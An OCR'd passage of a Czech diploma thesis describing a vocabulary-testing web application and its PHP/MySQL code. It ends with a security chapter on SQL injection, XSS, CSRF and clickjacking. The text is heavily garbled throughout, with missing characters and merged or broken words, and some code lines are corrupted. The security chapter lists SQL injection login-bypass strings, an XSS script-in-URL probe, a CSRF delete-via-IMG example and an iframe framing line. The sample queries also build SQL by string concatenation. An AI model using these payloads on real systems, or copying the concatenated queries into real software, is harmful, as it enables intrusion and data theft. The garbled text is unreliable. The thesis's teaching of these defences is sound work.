Pti zadavani ,Loginu“ je uplatmo pravidlo, Ze jeho délka musi byt minim&j®t znaki a
v ramci aplikace musi byt unikatni.
Z bezpeénostnich dvodi jsou [fi zadavani hesla uptaivana nize uvedena restriktivni pra-
vidla, pomoci nichZ se stava heslo méachylné k ndhodnému vyzrazeni.
* musi obsahovat alespposm znak
e minimalre jeden znak musi byiselny
* nezbytnou podminkou je existence alesainoho specialniho znaku (?/{}[1,:*)),
ez davodu bezpénosti se nesmi heslo shodovat s uzivatelskym jménem

Formul&ova pole ,Login® a ,E-mail“ musi byt v aplikaci j@dzna&n¢ identifikovatelna. Na
zaklad tohoto pozadavku je v ramci aplikace vytoa funkce na kontrolu unikatnosti,
kterd zamezuje uloZeni stejnych Gddp databdze. Pokud by nastala situace, Ze bytakiva
do formul&ového pole zadal ,Login“ nebo ,E-mail®, ktery jizramci aplikace existuje je
na tuto skuténost upozorén pomoci chybové notifikai informace. V pipad Usgsné re-
gistrace je uZivateli na e-mail odeslan registtdJRL odkaz. Po kliknuti na odkaz je uZiva-
telsky (et aktivovan a uzivatel tize plnohodnotfiaplikaci pouZzivat.
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8.2 Uzivatelské role

8.2.1 Ucitel

UZivatel s touto roli ma umo#no zakladat a editovatidy. Nasleda muze do fid pritadit
studenty a pro dané studenty vypisovat testy. Jalghidenti test vyplini, je test automaticky
vyhodnocen a studentovi jéiglena zndmka dleifsluSného nastaveni testu. VeSkeré testy

absolvovaneé jednotlivymi studenty Ize snadno dadti@chistorii zkouSeni.

8.2.2 Student

Uzivatel, ktery ma nastavenou roli student, §Zmvypisovat své vlastni testy a navic ma
opravréni piistupu k testm vypsanym titelem. Nutno je vSak podotknout, Ze studentovi
jsou zobrazeny pouze vypsané testy, ktergugiptasovou platnost. Test se r@¥nstuden-

tovi nezobrazi v okamziku, kdy uz byl z danéhougsbzkousen.

8.3 Uzivatelské rozhrani

V uzivatelském rozhrani webové aplikace je aEvdiraz kladen na jednoduchost gep
hlednost. Z tohotoiodu je aplikace roziena do ti samostatnyckiasti, jenz umaiji
snadnou orientaci uzZivatele na webové strance rifibiasti stranky je umigha horizontalni
liSta pomoci, niz je mozno provd&menu nastaveni, ktera se vztahuje ke konkrétnimu uZzi-
vatelskému &tu. Konkrétr se jedna o zegmu hesla, znmu primarniho jazyka webové apli-

kace a v neposledract také o odhlaseni z webove aplikace.

DalSim prvkem uZivatelského rozhrani je hlavni memistno na levé strarwebové apli-
kace, pomoci které ma uzivatel moznost si zobjeditotlivé poloZky aplikace. Naslegln
se obsahéthto polozek zobrazuje v pravasti webové stranky. Obsahem hlavniho menu

jsou polozky zmi#né v nasledujicich podkapitolach.

8.3.1 Slovi¢ka

Tento odkaz obsahuje &gsamostatné polozky a to, vlastni st a globalni slo¥ka. Toto
rozckleni je gedevsim dlezité z pohledu testovani. U nastaveni testuts tzivatel vzdy
vybira z moznosti, zda chce vyzkouSet z vlastnliohigek ¢i ze slovéek umisténych v glo-

balnim seznamu slosdk.
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8.3.1.1 Vlastni slovéka

Po kliknuti na tento odkazime uZivatel progednictvim webového formuié velmi lehce
pridat nové slowiko. Ve formuldi je nutné zadat cizojazgé slovéko a jehatesky greklad.

V prvni fazi uzivatel napiSe do formit&ého pole cizojaziny vyraz slowtka. Jakmile
tento vyraz napiSe, tak po chvilce se uzivatelranbnabidka&eskych pekladi k danému
slovicku. Z dané nabidky si zaSkrtnutim vybere pouzéateiika, ktera chce k danému ci-
zojazyenému vyrazu piadit. V giipads, Ze uzivatel nema zajem vyuzit nabidky online slov
niku, tak nmize kliknout na odkaz ,Chci zadat jinygklad“ nachazejici se pod nabidkou
¢eskych slowiek. Po kliknuti na fedmétny odkaz se uzivateli skryje nabidka st®k a
zarovei se mu zobrazi samotné formiadéé pole, do kterého sitthe napsatigklad daného
ciziho slovéka. Nutné je také zminit, Ze pokudtnil preklad slovéka zadava student, na-
sledreé tento geklad musi byt schvalen jeéstizivatelem s roli &itel. DalSim dopiujicim
atributem, jenz je mozné nastavit u stek je takzvané ,Topovani“. Tento atribut Zha

slovicka ugitou vyznamnost. Slovko je pak pi zkouSeni ozngeno symbolem hszdicky.

Cizi Vyraz computer]

Ceské vyrazy [ pogita& [] pogitagovy [ s&itag []
kalkulator [] poétar

Chci zadat ruéni preklad slovicka

Supg= R
Jazyk * anglictina
Top ]

m Pouzit hromadny import

Obr. 8. Fidani nového slovka do vlastniho slovniku

U vlastnich sloviek je dale mozné vyuzit hromadného importu skeki Pro tuto mozZnost
slouzi tl&itko ,Pouzit hromadny import”. Po kliknuti n&jrse zobrazi nova stranka, na niz
je umisén formul& pro vyker importniho souboru. Vydsem souboru a kliknutim na tiko
,UloZit" je import potvrzen a zrealizovan.tilezité je zminit, Ze fize byt importovan pouze
soubor s fiponou CSV. Toto omezeni jégulevsSim z dvodu, Ze CSV soubor je charakte-

rizovan pravidelnou strukturou a z hlediska prograémi ho lze velmi snadno zpracovat.

Na uvedené strance je uvedenyelded doposud vioZzenych sloégk, u kterych je mozné
provadt editaci, smazaniffpadre i jejich export do dokumentu PDF nebo CSV. Expert

umozrén pomoci ikonky nachazejici se v zahlavi tabulkgesnamem slo¥ék.
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8.3.1.2 Globalni sloveéka

Po kliknuti na uvedeny odkaz se uzivateli zobraehfedny seznam vSech sloek vioze-
nych do aplikace. Tento seznam jeitiovSemi slowiky, ktera byla vioZzena ostatnimi za-
registrovanymi uzivateli. Vifjpad® zajmu si kazdy fihlaSeny uZivatel riize z tohoto se-
znamu vybrat jakékoliv slovko a z#adit si ho mezi sva vlastni sléka. Timto zgisobem
uSeti uzivatel¢as, ktery by musel&novat vyphovani formul&e vztahujiciho se k vlozeni
noveho slowika. Vybkér slovicek je umozuan pomoci zaSkrtavaciho formiatéého poltka
nachazejiciho se u jednotlivych sléek. Vybker je nutné potvrdit kliknutim na ttéko ,Ulo-

Zit“. Poté dojde k fesunu zvolenych slosék do viastniho slovniku.

8.3.1.3 Slovicka k owieni

PoloZka je zobrazena pouzétali a obsahuje ffghled vSech rin¢ zadanychteskych pe-
kladi slovicek. Redn®tna slovéka se vzdy vztahuji k danému cizimu jazyku nasténen

v aplikaci. Jednoduchym v¥bz roletky a naslednym uloZenimize Witel slovicka schva-

lit nebo zamitnout. Po schvéleni se st&ei presune do osobniho slovniku uzivatele, jenz
zadaval rani preklad. V gipact zamitnuti se slowko z aplikace smaze a neni mozné ho
pouzivat v procesu zkousSeni. O schval@rmamitnuti slowlka je student informovan pro-

strednictvim notifik&niho e-mailu, ktery je automaticky zaslan na jelmalovou adresu.

8.3.2 Trida

Tato poloZka je Pstupné pouze uZzivateli s rolitel. Po kliknuti na ni jsou Zfstuprény

dalSi dva samostatné odkazy.

8.3.2.1 Seznamitid

Tato polozka je g¥ejni pro uZivatele s rolicitel a obsahuje vSechny podstatné informace
pro uzivatele s touto roli. Stranka funguje na ézcestniku, jehoz odkazy 8iaji na jed-

notlivé podstranky, kde se provadi dalSi nastavetaihujici se k danéitl.

Seznamifd obsahuje celkovyiphled zaloZzenychid. U kazdéiidy je zobrazen pet stu-
denti nachézejici se ipdnetné ¥ide. Vlastnik mize provadt editaci a smazanfitly, tato
operace je vSak mozna jen kipad, Zze do dané&idy jeSt nejsou zEazeni Zadni studenti.
Zarazeni studeitdo tidy se provadi kliknutim na pet, ktery se nachazi ve sloupckpb
student.. Editaci studerit v existujici tid¢ je opraven provadt opst pouze vlastnik dané

tiidy. Jakmile jsou daidy prifazeni studenti, tak je mozné pro tyto studenty syt testy.
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BB Seznam tfid

Nazev tridy Editace Smazani Pocet studentti Pocet test Zalozit test
1A & x 0
2A & x 0

3B 0

Obr. 9. Ukézka fehledu zaloZenyclhiit

8.3.2.2 Zalozit novou Fidu

Tuto volbu Ize vyuzit v fipact, pokud jedt neexistujeiiida, pro kterou chcecitel zalozit
test. Ri zaloZeni tidy je nutné zadat nazev, jenz je povinnou polozkizakladaniitidy
je implementovana funkce pro kontrolu unikatnostZz méa za nasledek skétest, Zze ne-

mohou existovatitdy s duplicitnimi nazvy.

8.3.3 Studenti

Tato polozka je ot dostupna jenditeli. PoloZka obsahuje zakladrighled vSech studeit
kteri byli zaregistrovani do aplikace. Pokud se vSakuta poloZzku ze seznamtid pro-
klikne witel vlastnici fidu, tak je mu umozm vybér studend pro zvolenouifdu. Vybir se
provadi zatrzenim zasSkrtavaciho pole nachazejgghojednotlivych studeinta naslednym
Kliknutim na tl&itko ,Ulozit". Vytazeni studeiitse provadi podobnym é@gobem, jen s tim
rozdilem, Ze u studenta se zrusi zaskrtnuti forrou&ho poléka.

8.3.4 Testy

Kvili prehlednosti a z praktického hlediska se tento odkkjesS® na dva samostatné od-

kazy.

8.3.4.1 Pridat novy test

Pomoci tohoto odkazu vytkiduzivatel test. UZivatel s roli student si pomt#td polozky
vypisuje testy sam pro sebe. Pokud je do aplikéibéaSen uzivatel s roliditel, tak vypisuje
testy utené pro zvolenouitu, v nichZ je z&azena ufita mnozina studeft Pro to, aby

mohl witel vypsat test pro zvolenotidu, musi byt veitdé zatazen alesppjeden Zak.

U zakladani nového testu je mozné stanovit datwmstsg testu. Po kliknuti na dané for-
mulaové pole se ithlaSenému uzivateli zobrazi interaktivni kalehdanémz je mozné

zvolit konkrétni datum &as vypsani testu. V kalentl@eni umozan zpitny vykér data.
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Pokud poléko datum spughi zistane prazdné, tak se do databaze automaticky aktz

alni datum &as.

DalSim polem, které je nutné vyplinit tiglini nového testu je , Typ testu”. V tomto parame-
tru si uzivatel vybira celkem zp moznosti tyjd testi vztahujici se kKasovému obdobi.
Z roletky nachéazejici se u znéfrého pole je mozné vybrat volbu denni, tydenrésioni,

¢tvrtletni, pololetni.

Nezbytnym parametremitkZitym v oblasti testovani je pet sloviek. Po zaskrtnutiippi-
nate, zda ma probihat zkouSeni z osobnich & nikoliv, dojde k automatickému vy-
plnéni maximalniho p&tu slovicek. P@et slovEek se tak dynamicky &ni na zaklad zvo-
lené volby pepinae. UZivatel ma okamzityiphled o maximalnim @tu slovicek ugenych
ke zkouSeni. V fppact potreby si uzivatel mize dle libosti poet slovEek rené snizit na

pozadovany péet, jenZ mu bude vyhovovat.

Pro korektni vyhodnoceni testu musi byt stanove&§ posledni dva parametry, a tocpd
hodnoticich zndmek a procentualni spodni hranieei @namky. Na zakladt¢chto zvole-

nych parametr se dle ziskanych procent automaticky stanovi z@amk

Pfidat novy test

Nazev

Datum spusténi

Typ Testu denni

Viastni slovicka O Ano ONe

Pocet slovicek

Jazyk * anglictina

Poéet znamek 2 (Zadejte pocet hodnoticich stupfit.)

Hodnoceni 95% » | (Zadejte spodni procentualni hranici prvni znamky.)

Obr. 10. Ukazka zalozeni nového testu

8.3.4.2 Seznam tegt

Po zvoleni této polozky méa uzivatel k dispoziciuiio s gehledem vSech zaloZenych test
Testy uvedené v tabulce ma pravo dale administréedy provaet jejich editaci nebo sma-

zani. Také je umo&na duplikace testu, to znamena, Zze pouhym jednknuim dojde ke
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Znovu vypsani testu, se stejnymi stikyi pro stejnouifdu a skupinu studeint U jednotli-
vych test je implementovana kontrola oprém, kterA ma za nasledek, Zatel mize edi-
tovat, duplikovat a mazat pouze své vlastni testjtace testu neni také umeba v [¥i-
pad, Ze se k testu vaze jiZjaké vyhodnoceni. U teswvypsanych jinymi titeli je nasta-
veno pouze pravéteni. RihldSeny uZivatel s rolidgitel ma u ciziho testu pravo \Wdnazev
testu, datum jeho spusii, paiet sloviek a v neposledriict také vlastnika daného testu

(tento Udaj je mozné zobrazit po najeti mySi nskioyv niz se nachazi nazev testu).

8.3.5 Zkouseni

Tato poloZka je dostupna pouze uZivateli s rolilet. Po kliknuti na ni se studentovi zob-
razi gehledna tabulka s testy, které si vyil/pro své vlastni zkouseni. V seznamu je uveden
nazev testu, datum a¢® sloviek. ZkousSeni jednotlivého testu je mozné spustnigtim

na modrou Sipku, jenZ se nachazi v poslednim sidapualky.

8.3.6 Vypsané testy

Jiz ze samotného nazvu podkapitoly vyplyva, Zeedag o testy gené pro studenty ra-
zenych doitid. Testy jsou pro studenty dostupné od okamzikly, jk splna podminka
casove platnosti testu. Jakmile je student z tagizipuSen, tak jiZ nema dany test dostupny
a informace o prozkouSeni jsou automaticky vra@amyuciteli, ktery test vypsal. Zidzodu
piehlednosti je zaroweu této polozky uveden i et tesi, které jsou vypsany pro aktudin
piihlaSeného studenta. Po kliknuti na polozku ,Vygsdesty" se studentovi zobrazi de-
tailni prehled vypsanych test Udaji o jejich nazvu, data speriita pétu slovicek. Zkouseni

je mozné spustit kliknutim na modrou Sipku nachiézsg ve sloupci s nazvem ,Zkouseni*.
Po kliknuti na Sipku je student jé§ednou dotadzan, zda chce opravdu spustit dany test

v pripad® odsouhlaseni se spusti dany test.

(# Slovicka

@ Testy < Vypsané testy

_ 88 Dostupna zkouseni
(& Historie Zkouseni

Nazev Datum Pocet slovicek Zkouseni
(& Vypsané Testy (4) test 6 28.04.2016 19 >
test5 28.04.2016 19 >
Test2 26.04.2016 6 >
>

Test 1 12.04.2016 6

Obr. 11. Fehled vypsanych teist

Nasled® se studentovi zobrazi seznam natkodybranychceskych slowiek, ke kterym

musi do formuloveého pole napsat jejich cizoj@&ny preklad. Po napsanigkladu stiskne
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klavesu ,Enter“¢imz potvrdi napsany slovni vyraz. Kratce po stikl@vesy dojde k online
vyhodnoceni slovka a zarovie je dané formuléové pole zablokovano proti #imému pe-
psani slowka. Pokud je cizojazyy vyraz zadan korek#n je danému slovku pridélen
jeden bod, v opaném gipad slovicko neziska zadny bod. O spravnosti jednotlivyctanyr

je navic student informovan pomoci grafickych syhibo

EBZkoudeni testu test 1

auto
car V1

papir, vstupenka
paper V1

kalendaF, seznam

kalendar x0

viajky
flags V1

telefon

radio, radiovy

Obr. 12. Ukazka pibezného vyhodnocovani testu

8.3.7 Historie zkouSeni

Pod timto odkazem jsou umisy informace vztahujici se k historii t8és¥ souhrnu je za-
hrnut ndzev testu, datum spirdta ukoreni, trvani testu. Pokud uzZivatele zajima detailni
piehled testu tak ma dale moznost prokliknout sestaildestu a pod timto odkazem nalezne
piehled vSech prozkousenych vyiiagetre jejich bodového ohodnoceni. DalSimi dap
jicimi tdaji jsou informace o gtu prozkousenych slovnich vyfaa procentualni Gggnosti

testu. Na zéklatpoctu procent je fidélena i paticnd znamka.

Zakladni gehled zkousSeni je uveden v tabulce. Existuje v3akinost udaje promitnut do

grafu.



UTB ve Zliné, Fakulta aplikované informatiky 49

9 IMPLEMENTACE P RIKAZ U JAZYKA SQL DO PHP SKRIPT U

Jak jiz bylo zmigno, aplikace pro zkouSeni a vyhodnoceni efektivityky cizich jazyk
je naprogramovana prdéstnictvim jazyka PHP a veSkeré Udaje se uchovavdgtabazi
MySQL. V této kapitole diplomové prace se zdiimn na vzorovy gehled SQL pikazi po-
uzitych v aplikaci. Pro ukazku budou pouzityzékladni gikazy jazyka SQL, ato SELECT,
INSERT a UPDATE.

9.1 Vybér otestovanych slovéek

Uvedeny SQL fikaz vybere slowka, ktera byla satasti daného testu. Pomoci podminky
WHERE je zaji&tno, Ze pednttny test bude zobrazen pouzéhfaSenému uzivatele, jehoz
identifikace je uloZzena v prainné $_SESSION['Uzivatel]['ID".

SELECT s.SlovickalD AS ID,s.Slovicko AS SlovickadQmpoved AS Odpoved,o0.Vyhodno-
ceni AS Vyhodnoceni FROM Odpoved o

INNER JOIN TestPolozky tp On O.TestPolozkylD=tp.tRedozkyID
INNER JOIN Odpovida od ON od.OdpovidalD = 0.Odpailid
INNER JOIN Slovicka s ON tp.SlovickalD = s.Slovi¢ka

WHERE od.TestID="$TestID." AND od.UzivatelID=$. SESSION['Uzivatel['ID]."

9.2 Zalozeni nového testu

DalSim zakladnim ifkazem v jazyce SQL jefikaz INSERT. Na niZe uvedené ukazce je
pouzit pro zaloZeni nového testualBzité je také zminit, Ze veSkeré hodnoty p¢onych
jsou do SQL fgikazu dosazeny prdsinictvim webového formuild, jenz pihlaSeny uziva-

tele vyuziva k zalozeni testu.

INSERT INTO test (NazevTestu,Datum,TypTestulD,P8t®ticek,JazykID,JenVlastniS-

lovicka,UzivatellD,Hodnoceni,Stupne)

VALUES('$NazevTestu','$DatumTestuD','$TypTestuh@RSlovicek','$JazykID',$VlIastni
Slovicka,'$UzivatellD','$Hodnoceni','$Stupne’)
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9.3 Editaéni tprava ndzvu existujici #idy

Zakladnim pilfem uzivatel s roli Witel jsou tidy, do kterych ziazuji studenty a nasleén
pro tyto studenty vypisuji testy. @dis miZze nastat situace, Zéda byla zaloZzena s chybnym
nazvem. Proto, abychom nazev opravili, pouZijettikag Update. Jak je z ukazkiemmé,
nazev tidy mizZe upravit jen vlastnik, kterougdmétnou tidu zalozil.

UPDATE trida SET nazev = '‘$NazevTridy' WHERE Uzerat
[ID="".$_SESSION['Uzivatel]['ID']." AND TridalD 2.$TridalD
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10 BEZPECNOST WEBOVE APLIKACE

Pt programovani jakékoliv webové aplikace je obzidatitné klast draz na jeji bezpe
nost a s tim souvisejici bezp@st uzivatal, kterfi budou aplikaci vyuZzivat. Z tohota@dodu
se diplomova prace bude v nasledujici kapitole vabgroblematikou, jak nejlépe ofet
webovou aplikace fied webovymi Utoky, které by ji mohly naruSitigmdré by mély za

nasledek odcizeni dat ostatnich registrovanychateiv

Vzhledem k velké populatitwebovych aplikaci s&m dalc¢astji objevuji velmi sofistiko-
vané metody Utak Cilem je nafiklad odcizeni identity uZivatele, diky které je iné se
nabourat naifpklad do jeho bankovniho konta z&ilem ziskani finatnich prostedki. V n&-
sledujicich kapitolach jsou nasiity nejroz&iergjSi moznosti webovych Utdka zarové

moznosti jejich eliminace.

10.1SQL injection

Je prvnim a zarowenejrozsfergjSim typem weboveého utdk jejimz disledkem je fimé
napadnuti serverové&sti dané aplikace. Vzhledem k tomu, Zepgpogramovani interneto-
vych stranek se ve velké faipouziva jazyk SQL, tak je velmi prasgbdobr, Ze zmigna
chyba se objevuje n#&p riznymi platformami. Dlezitym predpokladem k realizaci U&p
ného Utoku je nedost&teé oSateni vstupu od uzivatele snem do databaze. V praxi se tak
muze ne¢astji jednat o vstupni data z formutdvych poli, kterd jsou dostupna v ramci we-

bové aplikace.

Utok predstavuje vazny bezgmostni problém pro kazdou webovou aplikaci. Nastadk

tohoto utoku mohou byt tato rizika:
* neopraveny pristup k daim uZzivatele
* modifikace dat
* neopravené ovladani celého webového systém

Zpasob utok vyuziva komentié, které je mozné pouzit v ramci jazyky SQL. Mezi. t
komentde zn&ky pati symboly —.# a /*. Reklad& jazyka SQL ignoruje veskeré alfanu-
merické znaky pouzité za komefraaymi znakami. Tato vlastnost umagje ut@nikovi
podsteit do SQL jazykaetzec s vlastnim kédem a s@sre ignorovat znénou ¢ast zby-
vajiciho SQL dotazu. Nejvice omezujici podminkoklg@izule WHERE, pomoci niz vybi-

rame jen ufitou cast dat uloZzenych v databazi. Nize je uveden zakfadhled vyrag, ktere
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se nefastji pouzivaji pro SQL injection. Vyrazy se vkladdp formul&ovych poli a tim
dochézi k obejiti hlaSovacich udéj

* admin’ —,

e admin’ #,

e admin’/*,

e ’orl=1—,

e« or 1=1#,

e orl1l=1/%

e or'l'='1—,
e Nor(l=1—.

10.1.1 Ukazka SQL injection utoku

Jako demonstrativni ukazkuieme uvést nazornyiglad pihlaSovani uzivatele do apli-
kace. UZivatel p piihlaSovani do aplikace zadava ,Nick* a ,Heslo". Kaklad téchto

Gdaji prokehne owfeni tdaj vici tdajam uloZzenych v databazi. \fipad: shody je uzivatel
piihlaSen. Pokud uZzivatel zada nespraviil@Sovaci Udaje, neni muiptup do aplikace

umozren.
Dulezité je také zminit, Ze heslo je na arovni SQlada Sifrovano do unikatniho hashe.

SELECT UzivatellD FROM Uzivatel WHERE Nick = ‘paveAND heslo =
afd2e2c4115d7bb3a2f23989ec3692304c17280c'

Na prvni pohled se dartéSeni jevi jako velmi jednoduché a fank ale z pohledu bezpe
nosti je nachylné na uatok typu SQL injection. Peglive se tedy na praktickyiglad, jak

postupuje uténik, jehoz delem je ziskat neopragny pristup do aplikace.

Pti tomto druhu webového Gtokigrpokladame, Ze (nik nezné Zadné&ihlaSovaci udaje.
VyuZije tedy své znalosti a zkusi se do aplikacgatoneoprawng, pouze za pomoci vilast-
nosti jazyka SQL. Do pole ,Nick" zada textoigzec ve tvaru * OR UzivatellD = 1--,

znazorrno na obrazku (Obr. 13).

NeoSeteny vstup do SQL jazyka bude mit za nasledek skost, Ze Uténik neopravang
ziska pistup do aplikace pod uZivatelem, jehéztje v MySQL databazi identifikovan pod
¢islem 1. Nasledhpak mize provadt vesSkeré operace jako uZzivatel, ktery se korekim

aplikace pihlasi svymi uzivatelskymi udaji.
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Pfihlaseni do aplikace
Nick 'OR UzivatellD = 1—

Heslo pavel

Zapomenute heslo

Registrace

Obr. 13. Ukazka webového utoktep registrani formuld

10.1.2 Obrana aplikace proti SQL injection

Pro usgsné zamezeni proti tomuto druhu Gtoku je nutnéogat veSkera uzivatelska data
vstupujici do SQL dotazu a naslédmetujici do databaze. V aplikaci je pro a&eii polo-
Zek, jenz maji textovou podobu pouzita funkce mysl escape_string. PouZiti této
funkce znemozni Utmikovi pouZiti apostrdfdo SQL dotazu.#®pouZiti cel@iselnych hod-
not je vyuzita funkce intval. Timto apobem je eliminovana moznost webového utoku pro-

strednictvim SQL injection.

function SQLinjetion($text) {
fupravenyText = (is_int($text)) ? intval($text) : mysql_real_escape_string(trim($text));
return htmlspecialchars($upravenyText, ENT_QUOTES);

Obr. 14. Funkce pro o&&ni uzivatelského vstupu

10.2 Cross—Site Scripting

Metoda Cross-Site Scripting (dale jen ,XSS") &pd v divére ke vzdalenym vstupnim da-
tam. Z obecného hlediska se mezi vywopebovych stranek dopotuje nikdy newfit
vstupnim udajm, které zadava uzivatel do weboveé aplikace. KaZilatelsky vstup rive
totiz byt potencialni hrozbou pro danou aplikaeo Braktickou ukazku se jedna ritghad

o piispsvky v internetovych diskusnich férech, v prohtizeobrazeny email, internetovou
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reklamu a dalSi formutéva data. V fipac, Ze aplikace obsahuje velké mnozstvi formul&-
fovych, jedné se o typ aplikace, jenZ vyZaduje velxozornost. V danéntipad: totiz hrozi
velmi vysoké riziko, Ze ffipadny webovy Utok bude siovat pra¥ pies formuléova pole.

10.2.1 Ukazka XSS utoku

. XSS Utok spiva v tom, Ze se Utnikovi pod&i do napadené stranky vlozit vlastni HTML
kod, ktery se iy ndsledném zobrazeni v prohbizmterpretuje jako HTML' [14]

Jak jiz bylo zmigno, ve étSing piipacdh Utoénici k tomuto druhu Utoku vyuzivajfgdevsim
formul&ové pole. V mnohychifpadech vSak mohou @woici nachylnost aplikaci k tomuto
druhu Gtoku otestovat ifes URL adresu, do které dosadi jednoduchy javdeesipkdd
jehoz progiednictvim velmi snadno zjisti, zda je mozné na daaqaikaci pouzit atok XSS.

Pro praktickou ukazku jsem zvolil webovou stranglikace, na niz se provadi Gprava nazvu
tiidy. Fi standardni editani operaci se do URL adresiepasi unikatni identifikatoritly,

u niz provadime editaci. V takovémiipad® m& URL adresa nasledujici tvar:
index.php?page=TridaEditace&TridalD=4. Saifmepze ¢islo uvedené na konci URL ad-
resy se dynamicky émi na zaklad zvolené tidy.

Tuto vlasnost riize vyuzit Utdnik a misto pedmétnéhocisla dosadi vlastni javascriptovy
kod index.php?page=TridaEditace&TridalD=<script¥gldtok XSS")</script>. Pokud ne-
bude aplikace proti tomuto druhu webového Utokuiege, tak se nasledima weboveé
strance zobrazi javascriptové alert oknogma bude uveden text ,Utok XSS*. Tato infor-
mace ujisti Utdnika, Ze na danou aplikaci je realné pouzit XS&,@dim zfisobit nekon-

zistentni stav aplikacefipadre i z aplikace odcizit data ostatnich uzivatel

Obr. 15. Ukazka utoku typu XSS
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10.2.2 Ochrana proti XSS

Z uvedeného obrazku (Obr. 14) jemné, Ze pedmetna funkce neslouzi vyhradien k oSet-
feni webového utoku SQL injection, ale také k zameSS utoku, jenz je eliminovan
pouzitim PHP funkce htmlispecialchars. Tato funkéezanasledek odstram nezadoucich

znalka, které by mohly byt uloZeny do databaze.

10.3Podvrzeni pozadavku mezi éiznymi internetovymi strankami

Podvrzeni poZzadavku meziznymi strankami (dale jen ,CSRF") je skoro 6pg typ oproti
Gtoku zmignému webovému Utoku XSS. Vyuzivéadry, kterou maji webové stranky pro
konkrétniho uzivatele. Pokud porovname metodu XESRF tak rozdil sgdva v tom, Ze
v pripact webového utoku vedeného pomoci metody XSS je telio&t, v piipadt CSRF

je vSak spolupachatel.

~Samotny CSRF (tok neni nic jiného nez prosté aaé$iTTP pozadavku z jedné webové
aplikace do jiné, a to vSe pod identitou napaddndi oJedna se fitom o takové pozadavky,

které by sama @l vedony nikdy neodeslala [15]

Z praxe se rize jednat nafklad o znénu e-mailové adresy &b, hesla nebo domovské
stranky, pipadré o zisk dalSich dat. Ve velkeé raise utoky CSRF zaffuji na funkce zf-
sobujici znénu serverového stavu, ale také mohou byt vyuZiygpistup k citlivym infor-

macim.

Pro drtivou ¥tSinu internetovych stranek budou prohé2automaticky zahrnovat identické
pozadavky prostujici jejich spojeni se strankami. Jedna seilkégal o cookie relace uZiva-
tele, zakladni autentizai powieni, IP adresu a jiné podobné. Rratohoto dvodu pokud
je uzivatel autentizovany na strance, tak strarédaude mit Zzadnou moznost odliSit jej od

opravréného pozadavku uzivatele.

V nékterych gipadech Ize utok CSFR ulozZitipmo na samotnou napadenou stranku. Toho
je mozné dosahnout uloZzenim do HTML tagu IMG nebBAME, v poli, ktery pijimé
HTML kod. Pokud k takoveé situaci dojde, tak je zavast Gtoku o to vice zesilena. Zvysujici
se pravdpodobnost mizeme také nastat v okamziku, kdy méa byitata strankach autenti-

zovana.
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10.3.1 Ukazka CSRF utoku

Pri tomto druhu Gtoku je nutné, aby seditik zaregistroval do aplikace éldadng zanaly-
zoval chovani aplikace. Na zaktadanych zji&ni mize poté navrhnout princip utoku k niz
je aplikace nejvice nachylna a do stranek implemeits\aj viastni HTML kod, ktery bude
realizovat poZzadavky bezdomi gihlaSeného uZivatele. Na zaktasimulovaného CSRF
Gtoku je na obrazku (Obr. 16) Zwyznatenacast obsahuijici tag IMG, jehoz URL adresa
smefuje na samovolné vykonani skriptu. Konkkgétse jedna o skript db_zpraco-
vani/TestySmazani.php?TestID=3 jenZ ma za naslsdelzani testu ulozeného v databazi

pod unikatnim identifikatorem 3.

Testy

Trida Nazev testu Datum Pocet slovicek Smazani Duplikace

tfida 4A TEst32 2504 2016 10 x 2]

’— ZaloZit novy test

Obr. 16. Ukazka zrealizovaného CSRF Gtoku

10.3.2 Ochrana aplikace proti CSRF

Jako ochranny prvek proti CSRF Utoku je v aplikamiizit autorizaéni token. V okamziku,
kdy se uzivatel phlasi do aplikace, je mu vzdy vygenerovan unikatrioriz&ni token. Ten
se ulozi do relace a je zaravienplementovan do formuta ve forng skrytého formul#o-
vého pole. B odeslani formulée se vZdy o&fi odeslany token s tokenem uloZzenym v relaci.
Pokud oba tokeny souhlasi, provede se dany uzskgteloZzadavek. Tokeny sé pazdém
uzivatelském phlaseni néni. Neni tedy mozné tokeny &pé zneuzit. Je takéitezité zmi-
nit, Ze @ vSech uzivatelskych operacich je aplikovana kaatna viastnika, tudiz je zame-

zeno smazani zaznagkteré nefislusi gihlaSenému uzivateli.

10.4 Clickjacking

Tento Utok se charakterizovan pouzivanimhfgdné nebo nephledné vrstvy, pomoci
nichz chce uténik piinutit uzivatele kliknout na tidtko ¢i odkaz smétujici na jinou webo-
vou stranku. Timto Zisobem tedy Utmik vnucuje navsvnikovi kliknuti snetujici prav

na odliSnou stranku. Ve velké&tgine pripadi je stranka ve vlastnictvi jiné aplikace nebo

domeény. Diky precizhvytvorené kombinaci kaskadovych styiframi a také textovych
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poli bézni uzivatelé mohou bytreswdceni, Zze se ndfklad jedna o klasicky formuiélou-
Zici pro zadani vstupnich uddf jejich e-mailové schrance nebo bankovninitumisto

toho vSak vpisuji své udaje do neviditelného raktery je plré pod kontrolou uténika.

10.4.1 Ukazka clickjacking utoku

Pro zrealizovani tohoto druhu Gtokuibe postéovat jedenradek HTML kédu, ve kterém

pouzijeme tag IFRAME dod&hoZ na&teme URL adresu webové aplikace.

<iframe src="http://utb-dp.php5.cz/UzivatelPrihlaseni.php" width="78@px" height="58@px"></iframe>

Obr. 17. Ukazka ndeni URL adrese webové aplikace do IFRAME

V piipac neosateni proti utoku dojde k situace, kdy do cizi stnigbkide korektd nattena
piihlasSovaci stranka aplikace. Naugtik vSak na prvni pohled nic nepozna a dblaso-

vaci okna zada svéiplaSovaci Udaje, coZ ime vést k jejich zneuZiti.

10.4.2 Ochrana aplikace proti clickjacking

»Obrana proti clickjackingu je porrne jednoduchou zalezitosti. Kdyz siedemime, Ze
vSechny tyto Gtoky vyZadujidbeni cilové stranky do ramu, zjistime, Ze‘istaéjakym zjg-

sobem toto n&eni do ramu zakazat[15]

Webovéa aplikace je chrénma ged timto druhem utoku pomoci konfigéingho souboru
.htaccess dodhoz je vloZzen kbd, jenz znemaie na&teni stranky do ramu. Kéd ma nasle-

dujici podobu.

<IlfModule headers_module>

Header always append X—Frame—Options DENY
</IfModule>

V kodu je mozné nastavit hodnoty:

* DENY - zakaZe ngeni stranky v ramu,

* SAMEORIGIN — povoli néist obsah do rdmu jen wipad, Ze je ram umish na
strance, ktera splije podminky Same Origin policy,

e ALLOW-FROM - vymezuje webovou stranku, ktera m& alemo zobrazeni

piedaného obsahu v ramu.
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10.5Session fixation

Tento typ webového uUtoku umafe ut@nikovi napadnout platnou uzivatelskou relaci.
Utok prowiuje zpisob, jak webové aplikace spravu;ji ID relatihfaSeného uzivatele. Spo-
¢iva v giméni uzivatele webové aplikace k&eni sebe samého s jiz znAmym ID relace a
